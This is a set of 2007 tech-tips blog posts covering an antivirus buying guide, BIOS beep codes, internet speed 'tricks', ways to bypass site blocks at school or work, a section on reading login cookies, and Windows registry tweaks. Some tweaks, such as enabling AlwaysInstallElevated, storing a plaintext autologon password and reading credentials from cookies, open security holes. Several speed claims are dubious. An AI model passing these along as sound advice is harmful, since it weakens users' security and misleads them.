money which may not be worthwhile. The charge for the paid support is almost equal to the half of the product price! (remember online search engines Google, Yahoo and MSN search are your friends!)<br /><span style="font-weight: bold;">Frequency of virus definitions/updates</span><br />Well, if you think just installing an Antivirus would protect your system, hang on. You will also need to download the updates or antivirus definitions to keep up with the new threats. In this fast changing world of technology, newer threats in the form or Viruses, Worms and Trojans (Click here to read the difference between Viruses Worm and Trojans) come out each day. While it may be difficult for AV companies to keep the pace with all of them, some AV Vendors use heuristics to at least quarantine some of these. Symantec for example uses a technology called as Bloodhound to isolate the malicious threats for which complete information is not known. The common practice is this space for most AntiVirus vendors is to release the updates on a weekly basis. However, if there is an outbreak, the definitions to cure the same are released instantly to prevent any zero day attacks. Read the product information at the vendor’s site carefully to know the frequency of updates. An AV that does not get definitions on a periodic use may not be of much use.<br /><span style="font-weight: bold;">Suggestion:</span> Configure your AV to automatically download and install the updates as and when new updates are released.<br /><span style="font-weight: bold;">Ease of Upgradation</span><br />The standard practice in the AntiVirus (AV) vendor space is that each year a newer version of the product is released. More often than not, you may end up upgrading to the newer version. Upgradation basically means installing a newer version over the existing version. So ensure that the AV you buy has the good track record of clean upgradation.<br />Some AV applications are known to have issues while upgrading from an older version to newer version. If not done correctly, they may leave traces in the registry and can cause major issues while installing. So watch out while you decide to Upgrade or Renew for Updates.<br /><span style="font-weight: bold;">Type of Subscription</span><br />AV products generally have usage license for a period of one year. That is you pay and use for one year and after which you will have to renew it in order to receive the AV Updates / Virus definitions. Know the difference between Upgrade and Update.<br />An update is a periodic Antivirus definition or signature release from the vendor. This can be periodic, for example Symantec releases its Virus definition every Wednesday. Updates include Virus definitions, program improvements, patches etc.<br />An upgrade is the iteration in the version of the product. For example, you are using Norton Antivirus (NAV) 2007 and it is reaching its one year period and Symantec has now released NAV 2008. You will be presented an option to upgrade to the newer version or continue using the older version by renewing the subscription fees, in which case you will continue to use NAV 2007.<br />An upgrade normally costs little more than renewal and its better to go for an upgrade because there will bound to be improvements in the newer version.</div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com1tag:blogger.com,1999:blog-6039373802489229043.post-50327227419412788102007-12-16T17:20:00.000+05:302007-12-16T17:24:16.030+05:30Beep Code Description<div style="text-align: justify;"><span style="font-weight: bold;">Standard Original IBM POST Error Codes</span><br />Code Description<br />------------------<br />1 short beep System is OK<br />2 short beeps POST Error - error code shown on screen No beep Power supply or system board problem Continuous beep Power supply, system board, or keyboard problem Repeating short beeps Power supply or system board problem<br />1 long, 1 short beep System board problem<br />1 long, 2 short beeps Display adapter problem (MDA, CGA)<br />1 long, 3 short beeps Display adapter problem (EGA)<br />3 long beeps 3270 keyboard card<br /><span style="font-weight: bold;">IBM POST Diagnostic Code Descriptions</span><br />-------------------------------------<br />100 - 199 System Board<br />200 - 299 Memory<br />300 - 399 Keyboard<br />400 - 499 Monochrome Display<br />500 - 599 Colour/Graphics Display<br />600 - 699 Floppy-disk drive and/or Adapter<br />700 - 799 Math Coprocessor<br />900 - 999 Parallel Printer Port<br />1000 - 1099 Alternate Printer Adapter<br />1100 - 1299 Asynchronous Communication Device, Adapter, or Port<br />1300 - 1399 Game Port<br />1400 - 1499 Colour/Graphics Printer<br />1500 - 1599 Synchronous Communication Device, Adapter, or Port<br />1700 - 1799 Hard Drive and/or Adapter<br />1800 - 1899 Expansion Unit (XT)<br />2000 - 2199 Bisynchronous Communication Adapter<br />2400 - 2599 EGA system-board Video (MCA)<br />3000 - 3199 LAN Adapter<br />4800 - 4999 Internal Modem<br />7000 - 7099 Phoenix BIOS Chips<br />7300 - 7399 3.5" Disk Drive<br />8900 - 8999 MIDI Adapter<br />11200 - 11299 SCSI Adapter<br />21000 - 21099 SCSI Fixed Disk and Controller<br />21500 - 21599 SCSI CD-ROM System<br /><span style="font-weight: bold;">AMI BIOS Beep Codes Code Description</span><br />------------------------------------<br />1 Short Beep System OK<br />2 Short Beeps Parity error in the first 64 KB of memory<br />3 Short Beeps Memory failure in the first 64 KB<br />4 Short Beeps Memory failure in the first 64 KB Operational of memory<br />or Timer 1 on the motherboard is not functioning<br />5 Short Beeps The CPU on the motherboard generated an error<br />6 Short Beeps The keyboard controller may be bad. The BIOS cannot switch to protected mode<br />7 Short Beeps The CPU generated an exception interrupt<br />8 Short Beeps The system video adapter is either missing, or its memory is faulty<br />9 Short Beeps The ROM checksum value does not match the value encoded in the BIOS<br />10 Short Beeps The shutdown register for CMOS RAM failed<br />11 Short Beeps The external cache is faulty<br />1 Long, 3 Short Beeps Memory Problems<br />1 Long, 8 Short Beeps Video Card Problems<br /><span style="font-weight: bold;">Phoenix BIOS Beep Codes</span><br />-----------------------------<br />Note - Phoenix BIOS emits three sets of beeps, separated by a brief pause.<br />Code Description<br />-----------------------------<br />1-1-3 CMOS read/write failure<br />1-1-4 ROM BIOS checksum error<br />1-2-1 Programmable interval timer failure<br />1-2-2 DMA initialisation failure<br />1-2-3 DMA page register read/write failure<br />1-3-1 RAM refresh verification failure<br />1-3-3 First 64k RAM chip or data line failure<br />1-3-4 First 64k RAM odd/even logic failure<br />1-4-1 Address line failure first 64k RAM<br />1-4-2 Parity failure first 64k RAM<br />2-_-_ Faulty Memory<br />3-1-_ Faulty Motherboard<br />3-2-4 Keyboard controller Test failure<br />3-3-4 Screen initialisation failure<br />3-4-1 Screen retrace test failure<br />3-4-2 Search for video ROM in progress<br />4-2-1 Timer tick interrupt in progress or failure<br />4-2-2 Shutdown test in progress or failure<br />4-2-3 Gate A20 failure<br />4-2-4 Unexpected interrupt in protected mode<br />4-3-1 RAM test in progress or failure>ffffh<br />4-3-2 Faulty Motherboard<br />4-3-3 Interval timer channel 2 test or failure<br />4-3-4 Time of Day clock test failure<br />4-4-1 Serial port test or failure<br />4-4-2 Parallel port test or failure<br />4-4-3 Math coprocessor test or failure<br />Low 1-1-2 System Board select failure<br />Low 1-1-3 Extended CMOS RAM failure</div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-15218900402789312562007-12-09T00:01:00.000+05:302007-12-09T00:34:54.951+05:30Internet tips<div style="text-align: justify;"><div style="text-align: justify;"><span style="font-weight: bold;">Increase u r internet Speed........</span><br /><span style="font-weight: bold;">Trick 1.</span><br />follow the step:-<br />go to desktop->My computer-(right click on)->properties->then go HARDWARE tab->Device<br />manager-> now u see a window of Device manager<br />then go to Ports->Communication Port(double click on it and Open).<br />after open u can see a Communication Port properties.<br />go the Port Setting:----<br />and now increase ur "Bits per second" to 128000.<br />and "Flow control" change 2 Hardware.<br /><span style="font-weight: bold;">Trick 2.</span><br />type this coding in notepad and save as .reg and then execute this file....this will increase ur surfing n downloading speed.....<br />REGEDIT4<br />[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\Tcpip\Parameters]<br />"SackOpts"=dword:00000001<br />"TcpWindowSize"=dword:0005ae4c<br />"Tcp1323Opts"=dword:00000003<br />"DefaultTTL"=dword:00000040<br />"EnablePMTUBHDetect"=dword:00000000<br />"EnablePMTUDiscovery"=dword:00000001<br />"GlobalMaxTcpWindowSize"=dword:0005ae4c<br /><span style="font-weight: bold;">Trick 3.</span><br />follow these steps:-<br />1.Click on Start, Run, gpedit.msc, <enter>.</enter><br /><enter>2. On the window that will show up, click on Administrative Templates, Network, QoS Packet Scheduler</enter><br /><enter>3. On the right side pane, double click Limit reservable bandwidth. Change this configuration from “not configured” to “Enabled” and the reduce Bandwidth limit (%) from 20% to 0.</enter><br /><enter>4. Click on Ok and restart your computer.</enter><br /><enter><span style="font-weight: bold;">Trick4:</span></enter><br /><enter><span style="font-weight: bold;">Improve your dialup modem preformance</span></enter><br /><enter>You can't assume that just because you connected at a speed like 48.3KBps that you will stay there. Today's modems automatically fall back to a lower speed if the line noise is too high to maintain a faster connection, but sometimes they fall back too soon or too far.</enter><br /><enter>Here's how to do it:</enter><br /><enter>Click Start the button.</enter><br /><enter>Select Settings.</enter><br /><enter>Click Control Panel.</enter><br /><enter>Double-click on the Modems icon.</enter><br /><enter>Select your modem.</enter><br /><enter>Click the Properties button.</enter><br /><enter>Click the Connections tab.</enter><br /><enter>Click the Advanced button.</enter><br /><enter>In the "Extra settings" field, type S36=7</enter><br /><enter>Click OK to save your settings.</enter><br /><enter>This will force your modem to try to stay connected at high speeds in two different ways before dropping back to an asynchronous mode with auto speed buffering.</enter><br /><enter><span style="font-weight: bold;">Trick5:</span></enter><br /><enter><span style="font-weight: bold;">Increase the speed of your internet connection without a new modem</span></enter><br /><enter>As more and more people get quick connections to the internet, such as cable or ADSL, it becomes apparent to the user of a simple dial-up modem that the World Wide Web can quickly turn into the World Wide Wait. Here a trick that can help speed up your current modem without shelling out the big bucks.</enter><br /><enter>There is a setting located in your windows registry called the Maximum Transfer Unit (MTU). This determines the size of the packets of data sent between your and your server. In Windows 95, this setting is has a value of 1,500 bytes when the actual size of internet packets is 1,000 bytes. This can sometimes slow things down. To remedy the situation, simply follow these steps:</enter><br /><enter>In the registry editor (Start > Run > regedit.exe),</enter><br /><enter>navigate to<br />HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans. In the NetTrans folder you should find another folder named "000x" in which x represents a fourth digit. Right-click on the "000x" folder and select New and StringValue. Rename the item that appears in the panel on the right side to MaxMTU, then double-click it to bring up the Edit String box and give it a velue of 1002.</enter><br /><enter>Remember to keep playing with the MaxMTU value until you feel that your internet connection has greatly sped up. Some people report huge speed gains using this tricks, while others hardly notice a difference. In any case, it's definetly worth a try.</enter><br /><enter></enter></div><div style="text-align: justify;"><enter><span style="font-weight: bold;">Running Network Diagnostics</span></enter><br /><enter></enter></div></div><div style="text-align: justify;">Network Diagnostics scans your system to gather information about your hardware, software, and network connections.<br />Start / Run / NETSH DIAG GUI<br />The following is the type of information that can be displayed:<br />* Ping<br />* Connect<br />* Show<br />* Verbose<br />* Save to Desktop<br />* Mail Service<br />* News Service<br />* Internet Proxy Server<br />* Computer Information<br />* Operating System<br />* Windows Version<br />* Modems<br />* Network Clients<br />* Network Adapters<br />* Domain Name System (DNS)<br />* Dynamic Host Configuration Protocol (DHCP)<br />* Default Gateways<br />* Internet Protocol Address<br />* Windows Internet Naming Service (WINS)<br /><span style="font-weight: bold;">IP Commands</span><br />Display Connection Configuration: ipconfig /all<br />Display DNS Cache Info Configuration: ipconfig /displaydns<br />Clear DNS Cache:ipconfig /flushdns<br />Release All IP Address Connections: ipconfig /release<br />Renew All IP Address Connections IP Configuration: ipconfig /renew<br />Refresh DHCP and Re-Register the DNS connections: ipconfig /registerdns<br />Display DCHP Class Information: ipconfig /showclassid<br />Change/Modify DHCP Class ID: ipconfig /setclassid<br />Network Connections:control netconnections<br />Network Setup Wizard: netsetup.cpl<br />Test Connectivity: ping Example: ping www.naveenvnksg.blogspot.com<br />Trace IP address Route: tracert<br />Displays the TCP/IP protocol sessions: netstat<br />Display Local Route: route<br />Display Resolved MAC Addresses: arp<br /></div><div style="text-align: justify;"><span style="font-weight: bold;">Chat with command prompt</span><br />If you want personal chat with a friend<br />you don't need to download any yahoo messenger<br />all you need is your friends IP address and Command Prompt.<br />Firstly, open Notepad and enter:<br />@echo off<br />:A<br />Cls<br />echo MESSENGER<br />set /p n=User:<br />set /p m=Message:<br />net send %n% %m%<br />Pause<br />Goto A<br />Now save this as "Messenger.bat". Open the .bat file and in Command<br />Prompt you should see:<br />MESSENGER<br />User:<br />After "User" type the IP address of the computer you want to contact.<br />After this, you should see this:<br /></div><div style="text-align: justify;">Message:<br />Now type in the message you wish to send.Before you press "Enter" it should look like this:<br />MESSENGER<br />User:27.196.391.193<br />Message: Hi Naveen<br />Now all you need to do is press "Enter", and start chatting!<br /><span style="font-weight: bold;">Javascript Fun [Edit Any Webpage]edit any web page...........</span><br />Use javascript to edit any web-site (just for fun).<br />Go to the web-site that you want to edit and at the adress bar type this:<br />javascript:nick=document.body;nick.contentEditable='true'; document.designMode='on'; void 0<br /><span style="font-weight: bold;">You can login with multiple id's on the same yahoo messenger without any download or patch. </span><br />Follow these steps:<br />1.Go to Start > Run . Type regedit, and then enter.<br />2.Navigate to HKEY_CURRENT_USER > Software>yahoo>pager>Test<br />3.On the right page, right-click and choose new Dword value.<br />4.Rename it as Plural.<br />5.Double click and assign a decimal value of 1.<br />It’s done!!<br />Now close registry and restart yahoo messenger and try Multiple Login<br /><span style="font-weight: bold;">How to find the IP address of the sender in Gmail, Yahoo! mail or Hotmail</span><br />When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender. Note that this will not work if the sender uses anonymous proxy servers.<br /><span style="font-weight: bold;">Finding IP address in Gmail</span><br />1. Log into your Gmail account with your username and password.<br />2. Open the mail.<br />3. To display the headers,<br />* Click on More options corresponding to that thread. You should get a bunch of links.<br />* Click on Show original<br />4. You should get headers like this:<br />Gmail headers : name<br />Look for Received: from followed by a few hostnames and an IP address between square brackets<br />That is be the IP address of the sender!<br />5. Track the IP address of the sender<br /><span style="font-weight: bold;">Finding IP address in Yahoo! Mail</span><br />1. Log into your Yahoo! mail with your username and password.<br />2. Click on Inbox or whichever folder you have stored your mail.<br />3. Open the mail.<br />4. If you do not see the headers above the mail message, your headers are not displayed. To display the headers,<br />* Click on Options on the top-right corner<br /></div><div style="text-align: justify;">* In the Mail Options page, click on General Preferences<br />* Scroll down to Messages where you have the Headers option<br />* Make sure that Show all headers on incoming messages is selected<br />* Click on the Save button<br />* Go back to the mails and open that mail<br />5. You should see similar headers like this:<br />Yahoo! Headers: name<br />Look for Received: from followed by the IP address between square brackets [ ].<br />That is be the IP address of the sender!<br />6. Track the IP address of the sender<br /><span style="font-weight: bold;">Finding IP address in Hotmail</span><br />1. Log into your Hotmail account with your username and password.<br />2. Click on the Mail tab on the top.<br />3. Open the mail.<br />4. If you do not see the headers above the mail message, your headers are not displayed. To display the headers,<br />* Click on Options on the top-right corner<br />* In the Mail Options page, click on Mail Display Settings<br />* In Message Headers, make sure Advanced option is checked<br />* Click on Ok button<br />* Go back to the mails and open that mail<br />5. If you find a header with X-Originating-IP: followed by an IP address, that is the sender's IP address<br />Hotmail headers : name ,In this case the IP address of the sender is [68.34.60.59]. Jump to step 9.<br />6. If you find a header with Received: from followed by a Gmail proxy like this<br />Hotmail headers : name<br />Look for Received: from followed by IP address within square brackets[].<br /><span style="font-weight: bold;">Multi Google Talk</span><br />Just follow the simple steps Below:<br />1)Right click on the Google Talk shortcut.<br />2)click on Properties.<br />3)Go to Shortcut tab on Google Talk Properties window.<br />4)On the Target textbox, add in the /nomutex to the end of the line so that it looks like below (or you can simply copy and paste the below syntax and replace the original).<br /></div><div style="text-align: justify;"><div style="text-align: justify;">“c:\program files\google\google talk\googletalk.exe” /nomutex<br />5)Click on OK.<br /></div>I didn't have to do anything after this nd clicking on the shortcut multiple times just gave me different google talk window.<br /></div><span style="font-weight: bold;">Alternative</span><br /><div style="text-align: justify;">To create a new shortcut for Google Talk:<br />1)Right-click on the desktop or anywhere you want to place the GTalk shortcut.<br />2)Select New on the right click context menu.<br />3)Then select Shortcut.<br />4)Copy and paste the following line to the text box when prompted to type the location of the item:<br />“c:\program files\google\google talk\googletalk.exe” /nomutex<br />5)Click on Next.<br />6)Give the shortcut a proper name such as Google Talk or Google<br />Talk Multiple or Google Talk Polygamy.<br />8)Click OK until you are done.<br /></div><div style="text-align: justify;"><span style="font-weight: bold;">Block Or Unblock Websites without software !</span><br />Many times in schools, colleges & offices surfing some sites like orkut,etc are banned !To overcome this you can unblock these or block some other websites and play pranks !Do The Following :fFor eg you want to block www.xyz.com !* Open the folder C:WINDOWSsystem32driversetc* There you will find a file named HOSTS* Click on the file and press SHIFT and now right click on it .* From the right click menu select Open with .* Now, select Notepad to open the file from the list !* Now, in the file under the line 127.0.0.1 localhost add another line as 127.0.0.2 www.xyz.com.* Now, File>>Save !Now, open your web browser and try openning www.xyz.com , it will not load !To unblock sites just do the vice versa !<br /><span style="font-weight: bold;">Reading Cookies</span><br /></div><div style="text-align: justify;">well.... reading cookies is not a big deal... all u need to do is use some sense & logics...<br />let me explain wit example:<br />First-> Delete all the cookies from your pc's.<br />Now go to orkut & login wit ur user id & password.<br />Now go to cookies folder & see how many cookies r stored there... you will find many cookies.... now start reading/opening all the cookies.... in some cookies... u will find something like<br />[Client-side-data]<br />continue=https%3A%2F%2Fwww.orkut.com%2FRedirLogin.aspx%3Fmsg%3D0%26page%3Dhttp%253A%252F%252Fwww.orkut.com%252F&followup=https%3A%2F%2Fwww.orkut.com%2FGLogin.aspx&service=orkut&nui=2&uilel=1&skipvpage=true&hl=en-US&GA3T=OVAG8WM5ZYo&Email=GMAIL_ID&Passwd=GMAIL_PASSWORD%23&PersistentCookie=yes&rmShown=1&null=Sign+in<br />[Server-side-data]<br />HTTP/1.1 200 OK<br />Set-Cookie: GoogleAccountsLocale_session=en</div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-91066874216743063892007-11-22T15:03:00.000+05:302007-12-19T15:51:39.512+05:30Collection of Antivirus links<span style="font-weight: bold;">1.<a href="http://www.kaspersky.com/af/globalstore">Kaspersky</a></span><br /><br /><span style="font-weight: bold;">2. Active Virus Shield by AOL</span><br /><br /><span style="font-weight: bold;">3. <a href="http://www.zonealarm.com">ZoneAlarm with KAV Antivirus</a></span><br /><br /><span style="font-weight: bold;">4. <a href="http://www.f-secure.com/">F-Secure</a></span><br /><br /><span style="font-weight: bold;">5. <a href="http://www.bitdefender.com/world/">BitDefender Professional</a></span><br /><br /><span style="font-weight: bold;">6. <a href="http://www.bullguard.com/">BullGuard</a></span><br /><br /><span style="font-weight: bold;">7. <a href="http://www2.ashampoo.com/webcache/html/1/home_2.htm">Ashampoo</a></span><br /><br /><span style="font-weight: bold;">8. <a href="http://www.mwti.net/">eScan</a></span><br /><br /><span style="font-weight: bold;">9. <a href="http://www.eset.com/">Nod32</a></span><br /><br /><span style="font-weight: bold;">10. CyberScrub</span><br /><br /><span style="font-weight: bold;">11. <a href="http://www.avast.com/eng/avast_4_professional.html">Avast Professional</a></span><br /><br /><span style="font-weight: bold;">12. <a href="http://www.grisoft.com/">AVG </a></span><br /><br /><span style="font-weight: bold;">13. <a href="http://www.f-prot.com/">F-Prot</a></span><br /><br /><span style="font-weight: bold;">14. <a href="http://www.mcafeestore.com">McAfee</a></span><br /><br /><span style="font-weight: bold;">15. <a href="http://www.pandasecurity.com/homeusers/solutions/activescan/">Panda</a></span><br /><br /><span style="font-weight: bold;">16. <a href="http://www.norman.com/">Norman</a></span><br /><br /><span style="font-weight: bold;">17. <a href="http://www.arcabit.com/">ArcaVir</a></span><br /><br /><span style="font-weight: bold;">18. <a href="http://www.symantecstore.com">Norton Professional</a></span><br /><br /><span style="font-weight: bold;">19. <a href="http://shop.trendmicro.com/apac/">PC-Cillin</a></span><br /><br /><span style="font-weight: bold;">20. <a href="http://www.sophos.com/">Sophos Sweep</a></span><br /><br /><span style="font-weight: bold;">21.<a href="http://www.comodo.com/"> Comodo </a></span><br /><br /><span style="font-weight: bold;">22. <a href="http://www.abacre.com/">Abacre </a></span><br /><br /><span style="font-weight: bold;">23. <a href="http://www.emsisoft.com/en/">A-Squared Anti-Malware</a></span><br /><br /><span style="font-weight: bold;">24. <a href="http://www.clamwin.com/">ClamWin</a></span><br /><br /><span style="font-weight: bold;">25. <a href="http://www.quickheal.co.in/">quickheal</a></span><br /><br /><span style="font-weight: bold;">26. <a href="http://www.avira.com/en/pages/index.php">Avira</a></span><a href="http://www.avira.com/en/pages/index.php"><br /></a><br /><span style="font-weight: bold;">27. <a href="http://onecare.live.com/standard/en-us/default.htm">Windows Live OneCare</a></span><br /><br /><span style="font-weight: bold;">28. <a href="http://www.resplendence.com/antivirus">Principal AntiVirus</a></span><br /><br /><div style="text-align: justify;">There aren’t many free antivirus solutions that made the list, or were even tested for that matter. Active Virus Shield is completely free. Both AVG and Avast have a free version that they offer, but their paid solutions were tested instead.</div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-37210065662771438122007-11-21T23:36:00.000+05:302008-01-05T17:19:49.812+05:30Windows tweaks 4<span style="font-weight: bold;">151. Remove the DFS tab from Windows Explorer </span><br /><div style="text-align: justify;"><user><user><user><desktop><user><user><user><user><user><user><user><email>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\<br />Policies\Explorer\NoDFSTab<br />Set this DWORD to 1 to remove the DFS tab from Windows Explorer so that you can prevent users from changing properties on local DFS shares.<br /><span style="font-weight: bold;">152. Disable Windows 2000's Scheduled Tasks drag-and-drop functionality </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\<br />TaskScheduler5.0\DragAndDrop<br />Set this DWORD value to 1 disable the Drag and Dropt functionality of the Scheduled Tasks folder.<br /><span style="font-weight: bold;">153. Reinstall Outlook Express 6.0 </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\<br />Active Setup\Installed Components\{44BBA840…..}\IsInstalled<br />Set this DWORD value to 0 will make Windows think that Outlook Express 6 is not installed. You should then be able to reinstall Outlook Express 6.<br /><span style="font-weight: bold;">154. Load Balancing Your Network Cards </span><br />HKEY_Local_Machine\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\RandomAdapter HKEY_Local_Machine\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SingleResponse Set these values to 1 to enable load balancing if you have more than 1 network card. Changing the values to 0 disables this ability.<br /><span style="font-weight: bold;">155. Keep Dial-up Connections Running When You Log Off </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\<br />CurrentVersion\Winlogon\KeepRASConnections<br />Setting this STRING value to 1 will keep an active dial-up connection connected when a user logs off.<br /><span style="font-weight: bold;">156. Suppress the Standard Machine Beep Noise </span><br />HKEY_CURRENT_USER\Control Panel\Sound\Beep<br />Set this value to no to stop your system from beeping with system-level events.<br /><span style="font-weight: bold;">157. Change the Location For Storing Your Crash Dump </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DrWatson\CrashDumpFile<br />Change this location to a location of your choice where you want to store any Crash Dump files created by the system.<br /><span style="font-weight: bold;">158. Disable Task Manager </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\SystemDisableTaskMgr (Windows NT/2000/XP)<br />Set this value to 1 to disable Task Manager for your users. A value of 0 will enable Task Manager.<br /><span style="font-weight: bold;">159. Enable File And Directory Name Completion </span><br />HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar<br />(Windows NT/2000/XP)<br />Set this REG_DWORD to 9. Now when you type the first few letters of a file or folder name and press [Tab] on the keyboard, the OS automatically completes the path. If you press [Tab] again, it will go through several files and folders that match the same pattern. This applies only to Cmd.exe and not any other command-line environments.<br /><span style="font-weight: bold;">160. Specify which disk-error-checking utility I want to use in Windows 2000 and later </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\ChkDskPath Set this to the path of the program you’d like to use for disk-checking.<br /><span style="font-weight: bold;">161. Disable Fast Shutdown </span><br />HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Shutdown\FastReboot<br />Change this value to 0 to disable fast shutdown in Windows 98.<br /><span style="font-weight: bold;">162. Save Notepad Settings </span><br />HKEY_CURRENT_USER\Software\Microsoft\Notepad\fSavePageSettings<br />Set this value to 1 to save Notepad settings.<br /><span style="font-weight: bold;">163. Save Notepad Window Position </span><br />HKEY_CURRENT_USER\Software\Microsoft\Notepad\fSaveWindowPositions<br />Set this value to 1 to save Notepad window position.<br /><span style="font-weight: bold;">164. End Tasks Automatically </span><br />HKEY_CURRENT_USER\ControlPanel\Desktop\AutoEndTasks<br />Set this to 1 to automatically end tasks instead of seeing the End Task prompt, when an application is waiting to close.<br /><span style="font-weight: bold;">165. Disable Windows Messenger </span><br />HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Messenger\Client\PreventRun<br />(Windows XP)<br />Set this DWORD value to 1 to prevent Windows Messenger from running<br /><span style="font-weight: bold;">166. Disable Windows 2000 Web Printing </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\ DisableWebPrinting<br />Set this DWORD value to 1 to disable web printing in Windows 2000.<br /><span style="font-weight: bold;">167. Windows Media Player 7 Automatic Updates </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsMediaPlayer\DisableAutoUpdate Set this DWORD value to 1 to disable automatic updates. Set it to 0 to enable automatic updates<br /><span style="font-weight: bold;">168. Configure Microsoft Internet Explorer start and search pages </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Search Bar<br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Search Page<br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page<br />Changes these values to customize your start and search pages<br /><span style="font-weight: bold;">169. Configure multiple concurrent IE download sessions to one server?</span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet<br />Settings\MaxConnectionsPer1_0Server<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet<br />Settings\MaxConnectionsPerServer<br />Set these DWORD values to the hexadecimal value for the number of connections you desire<br /><span style="font-weight: bold;">170. Edit Disk Space Warning Message </span><br />HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\DiskSpaceThreshold Set this REG_DWORD value to the integer within the range of 0 to 99. This number represents the percentage of free space on the hard drive. When the free space drops below this percentage, the event is triggered.<br /><span style="font-weight: bold;">171. Remember Windows XP Customized Folders</span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\BagMRU<br />Set this DWORD value to be the number of folders you want XP to remember<br /><span style="font-weight: bold;">172. Remove Windows XP Notification Area </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayItemsDisplay Set this DWORD value to 1 to hide the Windows XP notification area<br /><span style="font-weight: bold;">173. Stop Windows from caching a .dll file after I close the program that was accessing it </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\<br />Explorer\AlwaysUnloadDLL<br />Set this DWORD value to 1 to unload DLLs immediately when a program is closed.<br /><span style="font-weight: bold;">174. Disable the Windows Installer rollback functionality </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\DisableRollback HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\DisableRollback<br />Set this DWORD value to 1<br /><span style="font-weight: bold;">175. Configure all Windows Installer installations to run with elevated privileges </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated Set this DWORD value to 1<br />registry subkey.<br /><span style="font-weight: bold;">176. Change the system font </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize<br />Change the "FONTS.FON"="vgasys.fon" value to be the font name you wish to display<br /><span style="font-weight: bold;">177. Disable Last Access Time Stamp in NTFS </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisableLastAccessUpdate Change this DWORD value to 1 if you want to stop an NTFS volume from updating the LastAccess time stamp for every directory browsed<br /><span style="font-weight: bold;">178. Set a limit on message recipients in Microsoft Exchange 5.5 </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSExchangeIS\ParametersSystem\Max Recipients On Submit<br />Set this DWORD value to the maximum number of recipients you wish to allow.<br /><span style="font-weight: bold;">179. Automatically log onto your workstation </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\<br />"DefaultUserName"="YourLogon"<br />"DefaultDomainName"="YourDomain"<br />"AutoAdminLogon"="1"<br />"DefaultPassword"="YourPassword"<br />Change DefaultUserName, DefaultDomainName, and DefaultPassword to values specific to your network.<br /><span style="font-weight: bold;">180. Disable the Log Off Computer button </span><br />HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogoff Set this DWORD value to 1 to remove the Log Off button. Set it back to 0 if you want people to be able to log off the computer<br /><span style="font-weight: bold;">181. Disable the Turn Off Computer button </span><br />HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\ NoClose<br />Set this DWORD value to 1 to remove the Turn Off button. Set it back to 0 if you want people to be able to turn off the computer<br /><span style="font-weight: bold;">182. Remove the Network tab from Windows Media Player (WMP) 8 and later</span><br />HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer\ HideNetworkTab<br />Set this DWORD value to 1 to remove the Network tab in the Windows Medial Player 8 and later Options window<br /><span style="font-weight: bold;">183. Stop users from installing Windows Installer files for removable media </span><br />HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\DisableMedia<br />Set this DWORD value to 1<br /><span style="font-weight: bold;">184. Protect against DoS attacks </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect This setting protects against a SYN flood attack. Set to a value of 0, 1, or 2 for increasing levels of protection. The higher the value, the more delay Windows adds to connection attempts, causing TCP connection timeouts.<br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect Set to 0 to 